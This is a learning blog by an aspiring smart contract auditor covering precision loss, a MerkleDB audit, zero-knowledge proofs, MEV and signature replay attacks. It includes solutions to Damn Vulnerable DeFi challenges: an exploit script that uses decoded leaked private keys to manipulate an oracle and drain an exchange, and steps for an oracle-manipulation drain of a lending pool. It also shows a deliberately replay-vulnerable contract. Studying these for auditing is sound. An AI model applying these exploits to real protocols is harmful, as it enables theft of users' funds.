My Coding Journey: From Finance to Smart Contract Auditor

Day 85

I listened to this interview and it really got me thinking about how I can really ramp up applying what I'm learning to real audits. So I signed up for Solodit (link here) to search for real life vulnerabilities that have been found during an audit and the real life consequences of those issues.

I really like the approach outlined in the attached interview. More specifically, looking at a relevant issue (say precision loss) and dedicating the hours to learning that issue and consistently reading Solodit posts (sometimes north of 200 posts!) on that issue alone.

In light of the above a breakdown of precision loss (with real examples!) is below:

What is it?
From the few examples I have read about the division operation is used incorrectly with respect to fees or calculations. It is worth noting this issue occurs because Solidity does not save a remainder resulting from division, meaning division should occur at the end of a calculation to maintain precision.

Examples

Basic Example

uint256 feePct = timeDiff * licenseFee / ONE_YEAR;
uint256 fee = startSupply * feePct / (BASE - feePct);

_mint(publisher, fee * (BASE - factory.ownerSplit()) / BASE);
_mint(Ownable(address(factory)).owner(), fee * factory.ownerSplit() / BASE);

As outlined, division of operations was performed in the middle of the fee formula. The mitigation to this is the following revised formula (noting feePct has been removed): uint256 fee = startSupply * licenseFee * timeDiff / ONE_YEAR / (BASE - licenseFee);

This might seem like a seemingly simple example but it ended up generating between 1% and ~7% more fees on a transaction.

Complex Example

return 
        (votes * cpMultipliers.votes / PERCENT) + 
        (proposalsCreated * cpMultipliers.proposalsCreated / PERCENT) + 
        (proposalsPassed * cpMultipliers.proposalsPassed / PERCENT);

As mentioned in day 84, communities are given voting rights in relation to the protocol's governance of funds. The implication here is that a miscalculation of voting power has widespread implications for users (imagine you can't vote by the slimmest margin only to find out that your voting power was incorrectly calculated!).

The interesting effect of this precision loss variation was every time division operation is performed, a certain amount of precision loss. I found this interesting because it was ultimately a culmination of precision loss errors. The mitigation code was similar to the above (division at the end):

return 
        ( (votes * cpMultipliers.votes) + 
        (proposalsCreated * cpMultipliers.proposalsCreated) + 
        (proposalsPassed * cpMultipliers.proposalsPassed) ) / PERCENT;
    }

Sidenote: In this finding, a dispute arose about the severity of the issue. Quoting directly "All these values are intended to be > 100. In the event that votes is lowered more, it will always be the case that proposalsCreated & proposalsPassed will be greater than 100, so combining them doesn't improve the accuracy."

I did think this comment reads a bit odd. From my understanding, if the votes were greater than 100 surely the precision loss would scale proportionally, granted if it was less than 100 assuming numbers are not simply divisible you run into a similar error. Sure enough the security auditor did point this out by replying (and logic was accepted): "If the multipliers are not a multiple of 100, say for example 125, 150 and 175 or something like that, then the precision will be still lost. But as I myself mentioned in the report, if all the multipliers are a multiplier of 100, then these equations dont cause an issue."

1 Like

Day 86

I realised it has been a hot minute since I last posted about an audit that caught my eye. So I decided to do a quick summary of the MerkleDB audit.

Background reading
Before diving into this audit a pre-requisite is an explanation of a merkle tree and a radix trie (a new concept for me).

A gross oversimplification of a merkle tree is that it is data structure that is implemented to summarise transaction data in a block such that a) a user can quickly verify whether a transaction is included in a block or not and 2) they are able to do this in a computationally effective manner (i.e. you don't need to download the entire code base to verify a transaction is legit). Here is a resource to confirm my explanation.

A radix trie, to the best of my understanding, is a data structured also used for storing the state of the Ethereum (or other chains) but it has the additional benefit of using path compression. This means it saves on storage costs by efficiently storing values with the same prefixes (e.g. it might be able to better link account balances, contract code, etc. to transaction history). I honestly used this wikipedia article given the complexity of the concept (at least for me!).

System overview
From my read, the value-add of this database is derived from its efficient storage and retrieval of key-value pairs, which allows for the validation of data integrity and the ability to verify whether specific key-value pairs are present or absent within the database.

The database supports the generation of three types of cryptographic proofs to ensure the integrity and verifiability of data within its key-value store:

  1. simple proofs - used to demonstrate that a specific key-value pair either exists or not within the database at a certain state;
  2. range proofs - basically a simple proof but covers a contiguous set of key-value pairs within a specified key range; and
  3. change proofs - how the differences in data between two states of the database, identified by their respective root hashes.

What's pretty cool about the above system is if a user decides to use the available sync package, the
MerkleDB instance is synchronised between a client and a server. The effect of this means a dynamic way to store a Merkleized blockchain state in an efficient manner.

Key audit issues

Interesting aside before reading the below is that the code base was of a high quality, however it was yet to be tested in real world scenarios. The result of this being that simulation software was recommended to test scenarios such as hardware failures, fluctuating network latencies, and data corruption scenarios.

High severity - Ability to Generate Valid Exclusion Proofs of Keys Which Are Present in the Trie

  • an exclusion proof confirms the absence of a particular key-value pair from the trie under the same root;
  • an issue considered was that a malicious prover could forge a valid exclusion proof for a key-value pair that actually exists in the trie;
  • this could happen logically because: if the ID represents the hash of a node, and each node keeps the IDs of its children, then an established proof will be identical to the upper half of the original trie and yield an identical root ID. This means a malicious actor could mistakenly pass the verification process.

The solve to the above was a review of the proof verification mechanism to prevent the acceptance of falsified exclusion proofs for existing key-value pairs.

Low - If There Is No Existing Child, the Function addPathInfo Will Use the Previous compressedKey

  • when I first read this I thought it may be a high level issue provided the inclusion of an incorrect child entry could ruin the entire verification process, but for the reasons outlined above in terms of how a merkle tree fundamentally verifies information, this would never be the case (as also briefly found by OZ below)
  • in the addPathInfo function, the verifier adds each node in the proof path to a new trie;
  • while adding the children, the function will fetch the corresponding compressedKey before creating the child entry;
  • if there is no existing child in the constructing trie, the function n.setChildEntry will use the compressedKey from the last child that was found instead of passing an empty Key;
  • although this will result in a trie with nodes storing the wrong compressedKey for their children, only the ID is necessary for calculating the hash, so the proof verification process will not be affected.

Concluding remarks
So although there was only one major issue with this audit I learnt two really important things:

  1. practically speaking, no matter how good you think a code base is, after an independent third party review critical issues are still be missed. This goes double for those code bases without real world implementation (especially for such a complex idea such as this!); and
  2. I reinforced what a merkle tree data structure is and how it may be combined with the new data structure (radix trie!).

Day 87

Happy Friday all! I wanted to discuss something a little more complex today...zero-knowledge proof. I have brushed up against this concept earlier in my learning journey but I wanted to better understand it and bring it to everyone's attention because I certainly haven't heard enough about it.

What is it?

Taken directly from Chainlinks: Zero-knowledge proofs (ZKPs) are a cryptographic method used to prove knowledge about a piece of data, without revealing the data itself.

The use case for this is interesting provided blockchains are inherently meant to be transparent. But what happens when commercially sensitive information is required to trigger a smart contract’s execution? This is where ZKPs come in handy, more on the practical application below.

An important side note is that ZKPs are often confused with the zero-trust framework in computer since which basically says everyone is either trying to steal your money or is an idiot. Whilst that may be the case some of the time, ZKPs are more a means to an end in the sense it is trying to mitigate the likelihood of users putting more information than is strictly necessary on the blockchain.

How does it work?

ZKPs rely on algorithms that take some data as input and return ‘true’ or ‘false’ as output subject to the following criteria:

  • Completeness: If the input is valid, the ZKPs always returns ‘true’;
  • Soundness: If the input is invalid, 99.98% of the time a lying prover cannot trick an honest verifier into believing an invalid statement is valid; and
  • Zero-knowledge: The verifier learns nothing about a statement beyond its validity or falsity (they have “zero knowledge” of the statement).

Interactive ZKPs are made up of three elements:

  • Witness: the prover wants to prove knowledge of some hidden information. The secret information is the “witness” to the proof, and the prover's assumed knowledge of the witness establishes a set of questions that can only be answered by a party with knowledge of the information. Thus, the prover starts the proving process by randomly choosing a question, calculating the answer, and sending it to the verifier;
  • Challenge – The verifier randomly picks another question from the set and asks the prover to answer it; and
  • Response – The prover accepts the question, calculates the answer, and returns it to the verifier. The prover’s response allows the verifier to check if the former really has access to the witness. To ensure the prover isn’t guessing blindly and getting the correct answers by chance, the verifier picks more questions to ask. By repeating this interaction many times, the possibility of the prover faking knowledge of the witness drops significantly until the verifier is satisfied.

To simplify the above, imagine you go to a theme park and a clown is shifting three cups around with a hidden ball under one. You want to prove to the clown that you know where the ball is going to be without even watching him shuffle the cards. To prove this you turn your back, he shuffles and you pick the cup with the ball under it. You do this twenty times and the clown asks you to move along because you are ruining business.

Please note that non-interactive zero-knowledge proofs exist. This is where the prover and verifier have a shared key, which allows the prover to demonstrate their knowledge of some information (i.e., witness) without providing the information itself.

What’s ZK-SNARKs or even ZK-STARKs?

ZK-SNARKs: is a protocol that stands for Zero-Knowledge Succinct Non-Interactive Argument of Knowledge. It has the following qualities:

  • Zero-knowledge (see above);
  • Succinct: The zero-knowledge proof is smaller than the witness and can be verified quickly;
  • Non-interactive: the prover and verifier only interact once, unlike interactive proofs that require multiple rounds of communication;
  • Argument: The proof satisfies the ‘soundness’ requirement, so cheating is extremely unlikely; and
  • (Of) Knowledge: The ZKP cannot be constructed without access to the secret information (witness). It is difficult, if not impossible, for a prover who doesn’t have the witness to compute a valid ZKP.

ZK-STARK: Zero-Knowledge Scalable Transparent Argument of Knowledge. ZK-STARKs differ to ZK-SNARKs because they are:

  • Scalable: ZK-STARK is faster than ZK-SNARK at generating and verifying proofs when the size of the witness is larger. With STARK proofs, prover and verification times only slightly increase as the witness grows; and
  • Transparent: ZK-STARK relies on publicly verifiable randomness to generate public parameters for proving and verification instead of a trusted setup.

ZK-STARKs produce larger proofs than ZK-SNARKs meaning they generally have higher verification overheads. However, there are cases (such as proving large datasets) where ZK-STARKs may be more cost-effective than ZK-SNARKs.

Practical applications

MACI (Minimum Anti-Collusion Infrastructure): typically used in voting systems whereby a set of smart contracts and scripts allow a central administrator to aggregate votes and tally results without revealing specifics on how each individual voted;

zk-Rollups: Zero-knowledge rollups bundle many transactions together and post them to the layer-1 blockchain with a proof verifying the validity of that computation. The proofs that get published on-chain are known as validity proofs and can be either SNARKs or STARKs. When these proofs are verified on the layer-1 blockchain, the zero-knowledge rollup has a new state; and

StarkNet: is a general-purpose platform that enables developers to deploy smart contracts on an Ethereum-based zk-rollup. Notably, StarkEx zk-rollups can be launched on top of StarkNet to increase an application’s scalability.

Day 88

Code

Exchange

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";

/**
 * @title Exchange
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract Exchange is ReentrancyGuard {
    using Address for address payable;

    DamnValuableNFT public immutable token;
    TrustfulOracle public immutable oracle;

    error InvalidPayment();
    error SellerNotOwner(uint256 id);
    error TransferNotApproved();
    error NotEnoughFunds();

    event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
    event TokenSold(address indexed seller, uint256 tokenId, uint256 price);

    constructor(address _oracle) payable {
        token = new DamnValuableNFT();
        token.renounceOwnership();
        oracle = TrustfulOracle(_oracle);
    }

    function buyOne() external payable nonReentrant returns (uint256 id) {
        if (msg.value == 0)
            revert InvalidPayment();

        // Price should be in [wei / NFT]
        uint256 price = oracle.getMedianPrice(token.symbol());
        if (msg.value < price)
            revert InvalidPayment();

        id = token.safeMint(msg.sender);
        unchecked {
            payable(msg.sender).sendValue(msg.value - price);
        }

        emit TokenBought(msg.sender, id, price);
    }

    function sellOne(uint256 id) external nonReentrant {
        if (msg.sender != token.ownerOf(id))
            revert SellerNotOwner(id);
    
        if (token.getApproved(id) != address(this))
            revert TransferNotApproved();

        // Price should be in [wei / NFT]
        uint256 price = oracle.getMedianPrice(token.symbol());
        if (address(this).balance < price)
            revert NotEnoughFunds();

        token.transferFrom(msg.sender, address(this), id);
        token.burn(id);

        payable(msg.sender).sendValue(price);

        emit TokenSold(msg.sender, id, price);
    }

    receive() external payable {}
}

TrustfulOracle

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "solady/src/utils/LibSort.sol";

/**
 * @title TrustfulOracle
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @notice A price oracle with a number of trusted sources that individually report prices for symbols.
 *         The oracle's price for a given symbol is the median price of the symbol over all sources.
 */
contract TrustfulOracle is AccessControlEnumerable {
    uint256 public constant MIN_SOURCES = 1;
    bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
    bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");

    // Source address => (symbol => price)
    mapping(address => mapping(string => uint256)) private _pricesBySource;

    error NotEnoughSources();

    event UpdatedPrice(address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice);

    constructor(address[] memory sources, bool enableInitialization) {
        if (sources.length < MIN_SOURCES)
            revert NotEnoughSources();
        for (uint256 i = 0; i < sources.length;) {
            unchecked {
                _setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
                ++i;
            }
        }
        if (enableInitialization)
            _setupRole(INITIALIZER_ROLE, msg.sender);
    }

    // A handy utility allowing the deployer to setup initial prices (only once)
    function setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices)
        external
        onlyRole(INITIALIZER_ROLE)
    {
        // Only allow one (symbol, price) per source
        require(sources.length == symbols.length && symbols.length == prices.length);
        for (uint256 i = 0; i < sources.length;) {
            unchecked {
                _setPrice(sources[i], symbols[i], prices[i]);
                ++i;
            }
        }
        renounceRole(INITIALIZER_ROLE, msg.sender);
    }

    function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
        _setPrice(msg.sender, symbol, newPrice);
    }

    function getMedianPrice(string calldata symbol) external view returns (uint256) {
        return _computeMedianPrice(symbol);
    }

    function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory prices) {
        uint256 numberOfSources = getRoleMemberCount(TRUSTED_SOURCE_ROLE);
        prices = new uint256[](numberOfSources);
        for (uint256 i = 0; i < numberOfSources;) {
            address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
            prices[i] = getPriceBySource(symbol, source);
            unchecked { ++i; }
        }
    }

    function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
        return _pricesBySource[source][symbol];
    }

    function _setPrice(address source, string memory symbol, uint256 newPrice) private {
        uint256 oldPrice = _pricesBySource[source][symbol];
        _pricesBySource[source][symbol] = newPrice;
        emit UpdatedPrice(source, symbol, oldPrice, newPrice);
    }

    function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        uint256[] memory prices = getAllPricesForSymbol(symbol);
        LibSort.insertionSort(prices);
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }
}

TrustfulOracleInitializer

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { TrustfulOracle } from "./TrustfulOracle.sol";

/**
 * @title TrustfulOracleInitializer
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrustfulOracleInitializer {
    event NewTrustfulOracle(address oracleAddress);

    TrustfulOracle public oracle;

    constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices) {
        oracle = new TrustfulOracle(sources, true);
        oracle.setupInitialPrices(sources, symbols, initialPrices);
        emit NewTrustfulOracle(address(oracle));
    }
}

Breakdown
Given the length of each contract I've summarised key operations for each below:

Exchange :
• constructor(address _oracle) this is used to initialise the contract with an address of the TrustfulOracle contract;
• buyOne() is a function that allows users to buy DVNF tokens by sending Ether. Ensures payment is valid and mints tokens to the buyer;
• sellOne(uint256 id) allows owners to sell DVNF tokens to the contract. Ensures ownership and approval before transferring tokens and Ether; and
• receive() A fallback function to receive Ether.

TrustfulOracle

  • constructor(address[] memory sources, bool enableInitialization) initializes the contract with trusted sources and optionally enables initialization;
  • setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices) allows the deployer to set initial prices for symbols;
  • postPrice(string calldata symbol, uint256 newPrice) trusted sources can post new prices for symbols;
  • getMedianPrice(string calldata symbol) retrieves the median price for a symbol based on trusted source prices;
  • getAllPricesForSymbol(string memory symbol) retrieves all reported prices for a symbol from trusted sources; and
  • getPriceBySource(string memory symbol, address source) retrieves the price reported by a specific source for a symbol.

TrustfulOracleInitializer

  • constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices) Initializes the contract with arrays of sources, symbols, and initial prices for a new Oracle contract.

Problem
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server.

Here’s a snippet:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.

Basically, the challenge is asking us to manipulate the price to buy a cheap NFT, then manipulate the price again to sell this NFT for a huge profit.

Solution

  1. Convert the hexadecimal code into UTF-8 text (I used this website);
  2. the strings are encoded in Base64, so we need to decode these Base64 strings into UTF-8 text (I'll save you the trouble):

0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9

0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

  1. We can verify that these are private keys to the trusted accounts of the oracle. The below script can be deployed to allow us to use private keys to sign transactions and manipulate the oracle prices, which allow us to buy low and sell high to drain the exchange:
if('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */

    // HEX --> ASCI --> Base64 decode
    const PKEY1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"
    const PKEY2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
    const signer1 = new ethers.Wallet(PKEY1, ethers.provider);
    const signer2 = new ethers.Wallet(PKEY2, ethers.provider);

    // Set Price - 1 WEI, and buy the NFT
    await oracle.connect(signer1).postPrice("DVNFT", 1);
    await oracle.connect(signer2).postPrice("DVNFT", 1);
    await exchange.connect(player).buyOne({ value: 1 });

    // Set Price - 999ETH + 1 WEI, and sell the NFT ;)
    await oracle.connect(signer1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + BigInt(1));
    await oracle.connect(signer2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + BigInt(1));
    await nftToken.connect(player).approve(exchange.address, 0);
    await exchange.connect(player).sellOne(0);

    // Restore Original Price
    await oracle.connect(signer1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
    await oracle.connect(signer2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
});

The script flow is:

  1. We create 2 wallet objects using the obtained private keys;
  2. We post a very low price from these wallets;
  3. We buy 1 NFT for a low price;
  4. We post a very high price with the hacked wallets; and
  5. We sell the NFTs back to the exchange for a very high price and we drain the exchange’s ETH!

Day 89

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
 * @title PuppetPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract PuppetPool is ReentrancyGuard {
    using Address for address payable;

    uint256 public constant DEPOSIT_FACTOR = 2;

    address public immutable uniswapPair;
    DamnValuableToken public immutable token;

    mapping(address => uint256) public deposits;

    error NotEnoughCollateral();
    error TransferFailed();

    event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount);

    constructor(address tokenAddress, address uniswapPairAddress) {
        token = DamnValuableToken(tokenAddress);
        uniswapPair = uniswapPairAddress;
    }

    // Allows borrowing tokens by first depositing two times their value in ETH
    function borrow(uint256 amount, address recipient) external payable nonReentrant {
        uint256 depositRequired = calculateDepositRequired(amount);

        if (msg.value < depositRequired)
            revert NotEnoughCollateral();

        if (msg.value > depositRequired) {
            unchecked {
                payable(msg.sender).sendValue(msg.value - depositRequired);
            }
        }

        unchecked {
            deposits[msg.sender] += depositRequired;
        }

        // Fails if the pool doesn't have enough tokens in liquidity
        if(!token.transfer(recipient, amount))
            revert TransferFailed();

        emit Borrowed(msg.sender, recipient, depositRequired, amount);
    }

    function calculateDepositRequired(uint256 amount) public view returns (uint256) {
        return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
    }

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }
}

Problem
There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity. There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.

Solution
We have to take advantage of the bug in the computeOraclePrice function, which is dividing the ether balance in the Uniswap market by the token balance in the Uniswap market. Why is this an issue? Because Uniswap operates on a “constant product” market-making model, to determine the exchange rate. Cutting a long story short, the maths behind a DEX means that the price fluctuates based on the proportionate sizes of its ETH and ERC20 reserves.

Mathemtically seen as: price_token_A = reserve_token_B / reserve token_A

To exploit the contract, do the following:

  • swap your ~1000 DVT tokens to get ~9.9 ETH from the market making sure you have the approval from the DVT token contract to spend in the Uniswap market;
  • deposit ~20 ETH to withdraw all 100000 DVT tokens from the lending pool; and
  • withdraw 100000 DVT tokens from the pool by depositing ~20 ETH as calculated above.

Days 90 - 93

I swear I have been working each day!! I just wanted to focus on the code and provide one large update. For the last four days, I have completed some relatively complex projects:

  1. the infrastructure for a centrally governed DAO and its respective governance protocols;
  2. a very basic upgradeable contract suite (using UUPS Proxy pattern);
  3. an NFT that is capable of being owned and when called on by the owner, it changes; and
  4. a stablecoin that is exogenous and pegged to the USD.

For each of the projects, check them out in my GitHub here:

The biggest takeaway in these projects were (aside from Foundry shortcuts):

  1. integrating live pricefeeds to a protocol (but I need to work on my actual ability to deploy the projects);
  2. understanding the differences between Fuzzing, unit testing and integration testing (more on this to come); and
  3. the importance of deployment scripts in Foundry and better understanding how to practically deploy smart contracts on testnets.

I am super proud of each of the projects and by no means are they perfect. I wanted everyone to see them and if others have suggestions (or questions!), let me hear them!! My intention is to have a few projects I can refine because I think its important for auditors to have some idea about the practicalities of Web3 development when auditing.

Ideas I had for refining my projects are:

  1. Update all the generic READMEs;
  2. create an even more comprehensive testing suite for each; and
  3. add a few more personalised touches here and there.

I won't post for a while as I undergo some minor surgery and will need to recover. But like every time before, I will make up for missed days and update on my progress!

Day 94

I’m back and mostly recovered!! As promised, I’ll use the coming days to get the blog back to speed. I’ll also be sure to post in chunks rather than 12 posts at once so people can properly digest the material as well (selfishly I don’t want my hard work to be all but skimmed over!).

Since my last post I have now finished the Security & Auditing Course from Cyfrin Updraft and as a result have now five different audits I have stepped through. See github below:

My key learnings that others may find useful:

  1. Slither and Aderyn are your friends when looking for bugs initially. For those unaware, these tools generate different reports on suspected vulnerabilities and whilst not always 100% on point, they can be incredibly helpful in testing your understanding of the logic of the code;
  2. Start with the smaller coding files and build your way up to the larger ones (tools like colc or Solidity Metrics are very helpful with this);
  3. the difference between stateless and stateful fuzzing (more on this below); and
  4. The following repo is incredibly helpful for assisting with generating audit report templates (https://github.com/Cyfrin/audit-report-templating).

I spent many hours doing these reports and going through the code bases so going forward I will be sure to be consistently looking to Solidit for more issues and competing in competitive audits (alongside posting on this blog).

If anyone has any questions about the reports, please reach out!

Day 95

Account abstraction is completely new to me, but this seemed to be a repeated theme (and growing in popularity!) in the various posts on my linkedin feed recently.

What is it?

A single contract account (known as smart accounts) can perform transactions with tokens and create new contracts whereas this if often completed through a series of accounts. Account abstraction is implemented in the following diagram (taken from this article)

The good
The technology will no doubt allow users to have gas-free experiences, authenticate with biometrics, or leverage social recovery features for their account. Breaking this down further”

  • ‘gas-free experiences’ could mean that a user could theoretically process transactions by applying logic determined by the code of a smart contract, as opposed to the manual approval required for each transaction with a traditional EOA; and
  • ‘social recovery features’ allows a user greater flexibility when creating and securing an account. EOA accounts often face the issue that they aren’t necessarily beginner friendly and private keys are a foreign concept. Account abstraction allows an account to add a variety of security measures such as: multisig authorization, account freezing, transaction limits, to process transactions and securing accounts.

Looking to the mainnet, we can also see that some Layer 2s such as zkSync Era and Starknet have implemented account abstraction. The implication of this is that companies like Visa can design an automated crypto bill payment system that leverages account abstraction.

The bad and ugly – the security implications
There are several, at a higher level:

  • Given the increased complexity of implementing this technology reentrancy attacks, logic flaws, and access control issues are bound to come out of the works;
  • Contracts relying on specific features like tx.origin or EOA signatures may behave unexpectedly when interacting with account abstraction wallets; and
  • The external call to a third-party presents the same risk as it always has, there may be malicious actors.

The Solution?
It might seem like a cop out answer but honestly its times like this fuzz testing and having audits on your protocol could be a lifesaver here. I'm of the opinion that a new set of eyes looking at how account abstraction may be used is the key to spotting vulnerabilities.

Day 96

On the back of a discussion relating to accounts, I thought it appropriate to talk to signature replay attacks.

A quick breakdown on a signed transaction:
To understand the attack, it might be helpful to understand the attack vector of a signed transaction:

type txdata struct {    AccountNonce uint64          `json:"nonce"    gencodec:"required"`    Price        *big.Int        `json:"gasPrice" gencodec:"required"`    GasLimit     uint64          `json:"gas"      gencodec:"required"`    Recipient    *common.Address `json:"to"       rlp:"nil"`    Amount       *big.Int        `json:"value"    gencodec:"required"`    Payload      []byte          `json:"input"    gencodec:"required"`

• AccountNonce: a number used once, that provides a uniqueness value to the transaction. When an account sends a transaction, the Nonce value automatically increases and the network checks the account nonce and transaction nonce match;
• Price: gas price of a transaction (gas used * gas price);
• Gaslimit: maximum gas the transaction is allowed to consume;
• Recipient (note: if empty, this transaction is a contract deployment transaction);
• Amount: the quantity of ETH transferred by the transaction, in wei;
• Payload: the content of the contract deployment; and
• VRS:

  • V: a value (calculate as V = ChainId * 2 + 35 + RecoveryId) used to recover public keys and represents the index of the point on the elliptic curve used for the signature (in EVM typically 27 or 28);
  • R: a part of the signature and represents the x-coordinate on the elliptic curve; and
  • S: a part of the signature and represents a parameter on the elliptic curve.

What is the attack?
A signature is used multiple times to commit unauthorized transactions on chain. This typically comes to fruition when there is a lack of a 'nonce' (number used once) for each transaction. For ease, an example of an account missing a chain id and nonce is outlined below:

// SPDX-License-Identifier: MIT
pragma solidity ^ 0.8.17;

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

contract Vault {
    using ECDSA for bytes32;

        address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address to, uint amount, bytes[2]memory sigs) external {
        bytes32 hashed = computeHash(to, amount);
        require(validate(sigs, hashed), "invalid sig");

        (bool sent, ) = to.call{ value: amount } ("");
        require(sent, "Failed to send Ether");
    }

    function computeHash(address to, uint amount) public pure returns(bytes32) {
        return keccak256(abi.encodePacked(to, amount));
    }

    function validate(bytes[2]memory sigs, bytes32 hash) private view returns(bool) {
        bytes32 ethSignedHash = hash.toEthSignedMessageHash();

        address signer = ethSignedHash.recover(sigs[0]);
        bool valid = signer == owner;

        if (!valid) {
            return false;
        }

        return true;
    }
}

A key callout on the example above is that the transfer function does not include any mechanism to check if a validly signed message is reused in a different context on other networks (this is despite the other embedded checks on the transfer function). A malicious attacker can thus capture a validly signed transaction and replay it multiple times, resulting in unauthorized transfers of funds.
A case study I found was the 20 Million OP Tokens Stolen from Optimism in 2022.

Preventative measure
Sign messages with a nonce and include the address of the contract. I think custom errors could also be helpful to validate a signature on a transaction and looks like this:

library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        } else if (error == RecoverError.InvalidSignatureV) {
            revert("ECDSA: invalid signature 'v' value");
        }
    }

Day 97

I realized I had previously touched on the topic of Maximal Extractable Value (MEV) but I’d never actually followed up on it so I’ll provide a breakdown.

TLDR: if withdrawing money from a smart contract you’re interacting with use Flashbots RPC, found here

What is MEV?

There are three types of attacks that exist due to MEV bots watching the mempool (a file containing the unconfirmed data about unconfirmed cryptocurrency transactions. Transactions are recorded in a mempool after they have been verified by available nodes, but have not yet been approved by a miner):

  • Frontrunning – a bot places a transaction ahead of yours to capitalize on the orders of transactions within the block;
  • Backrunning – strategically executing a transaction immediately after another, high-value transaction. By doing this, the bots capitalize on the arbitrage opportunity left over from the price impact of the initial transaction; and
  • Sandwich – a user is caught between two hostile transactions — one before and one after. Consequently, the original transaction executes at a much higher price than necessary, leading to an inflated price for the original trader and a profit for the malicious trader placing the two extra trades.

For those interested, a good watch is this video whereby Patrick Collins shows a real world example of himself being frontrun by these bots.

How to prevent it

Use a customized remote procedure call (RPC) endpoint in your wallet (i.e. the middleman between your wallet and on-chain transactions). What this practically means, as described in the linked video, is that you choose to deploy the transaction on say, the Flashbots RPC.

For those unaware, Flashbots is a research and development organization formed to mitigate MEV abuse. They have excellent documentation on getting started and a real in-depth analysis of what I’ve noted above.

Day 98

This article alongside my various audits conducted on the Cyfrin platform, have really made me come to appreciate the different nuances in the types of testing required for smart contract audits.

Unit testing
